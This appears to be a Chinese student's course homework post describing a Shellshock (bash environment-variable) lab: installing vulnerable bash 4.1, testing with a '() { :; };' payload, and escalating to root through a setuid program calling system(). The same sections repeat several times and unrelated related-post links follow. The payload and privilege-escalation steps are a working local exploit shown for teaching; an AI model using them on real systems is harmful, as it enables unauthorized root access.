20199326《Linux内核原理与分析》第十一周作业
Shellsock攻击实验
实验背景
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统——摘自维基百科
环境搭建
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统——摘自维基百科
环境搭建
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞
4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
export foo='() { :; }; echo Hello World'
bash
>Hello World
bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock
4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员
去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了
这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
20199326《Linux内核原理与分析》第十一周作业的更多相关文章
- 20169212《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 这一周学习了MOOCLinux内核分析的第一讲,计算机是如何工作的?由于本科对相关知识的不熟悉,所以感觉有的知识理解起来了有一定的难度,不过多查查资 ...
- 20169210《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 本周作业分为两部分:第一部分为观看学习视频并完成实验楼实验一:第二部分为看<Linux内核设计与实现>1.2.18章并安装配置内核. 第 ...
- 2018-2019-1 20189221 《Linux内核原理与分析》第九周作业
2018-2019-1 20189221 <Linux内核原理与分析>第九周作业 实验八 理理解进程调度时机跟踪分析进程调度与进程切换的过程 进程调度 进度调度时机: 1.中断处理过程(包 ...
- 2017-2018-1 20179215《Linux内核原理与分析》第二周作业
20179215<Linux内核原理与分析>第二周作业 这一周主要了解了计算机是如何工作的,包括现在存储程序计算机的工作模型.X86汇编指令包括几种内存地址的寻址方式和push.pop.c ...
- 2019-2020-1 20199329《Linux内核原理与分析》第九周作业
<Linux内核原理与分析>第九周作业 一.本周内容概述: 阐释linux操作系统的整体构架 理解linux系统的一般执行过程和进程调度的时机 理解linux系统的中断和进程上下文切换 二 ...
- 2019-2020-1 20199329《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 一.上周问题总结: 未能及时整理笔记 Linux还需要多用 markdown格式不熟练 发布博客时间超过规定期限 二.本周学习内容: <庖丁解 ...
- 2019-2020-1 20209313《Linux内核原理与分析》第二周作业
2019-2020-1 20209313<Linux内核原理与分析>第二周作业 零.总结 阐明自己对"计算机是如何工作的"理解. 一.myod 步骤 复习c文件处理内容 ...
- 2018-2019-1 20189221《Linux内核原理与分析》第一周作业
Linux内核原理与分析 - 第一周作业 实验1 Linux系统简介 Linux历史 1991 年 10 月,Linus Torvalds想在自己的电脑上运行UNIX,可是 UNIX 的商业版本非常昂 ...
- 《Linux内核原理与分析》第一周作业 20189210
实验一 Linux系统简介 这一节主要学习了Linux的历史,Linux有关的重要人物以及学习Linux的方法,Linux和Windows的区别.其中学到了LInux中的应用程序大都为开源自由的软件, ...
- 2018-2019-1 20189221《Linux内核原理与分析》第二周作业
读书报告 <庖丁解牛Linux内核分析> 第 1 章 计算工作原理 1.1 存储程序计算机工作模型 1.2 x86-32汇编基础 1.3汇编一个简单的C语言程序并分析其汇编指令执行过程 因 ...
随机推荐
- [vijos1159&洛谷1494]岳麓山上打水<迭代深搜>
题目链接:https://vijos.org/p/1159 https://www.luogu.org/problem/show?pid=1494 这是今天的第三道迭代深搜的题,虽然都是迭代深搜的模板 ...
- prometheus+grafana实现监控过程的整体流程
prometheus安装较为简单,下面会省略安装步骤: 一.服务器启动 Prometheus启动 ./prometheus --config.file=prometheus.yml Grafana启动 ...
- 如何让Java应用成为杀不死的小强?(中篇)
各位坐稳扶好,我们要开车了.不过在开车之前,我们还是例行回顾一下上期分享的要点. 上期我们抛了一个砖:“如何实现 Java 应用进程的状态监控,如果被监控的进程 down 掉,是否有机制能启动起来?” ...
- KMP算法-从头到尾彻底理解KMP
一:背景 给定一个主串(以 S 代替)和模式串(以 P 代替),要求找出 P 在 S 中出现的位置,此即串的模式匹配问题. Knuth-Morris-Pratt 算法(简称 KMP)是解决这一问题的常 ...
- Scratch 第1课 让小猫动起来
素材下载 链接:https://pan.baidu.com/s/1qX0T2B_zczcLaCCpiRrsnA提取码:xfp8
- 初识docker与理解
因最近公司的一个新项目,有一个业务场景是需要给多个甲方的服务器配置运行环境与部署,所以考虑使用docker来实现环境配置的统一 1.docker是什么 docker是一种容器虚拟化技术的实现,相当于在 ...
- Vue项目添加动态浏览器头部title
0. 直接上 预览链接 + 效果图 Vue项目添加动态浏览器头部title 1. 实现思路 ( 1 ) 从路由router里面得到组件的title ( 2 ) title存vuex (本项目已经封装h ...
- Go gRPC进阶-TLS认证+自定义方法认证(七)
前言 前面篇章的gRPC都是明文传输的,容易被篡改数据.本章将介绍如何为gRPC添加安全机制,包括TLS证书认证和Token认证. TLS证书认证 什么是TLS TLS(Transport Layer ...
- xargs与exec区别
平时使用find命令查找出文件的时候有时候后面有时候用-exec有时候用管道加xargs,这2个到底有什么不同?下面就这2个的不同做简单介绍. 零.实验环境 [root@osker /]# find ...
- Springboot启动流程简单分析
springboot启动的类为SpringApplication,执行构造函数初始化属性值后进入run方法: 然后返回ConfigurableApplicationContext(spring应用). ...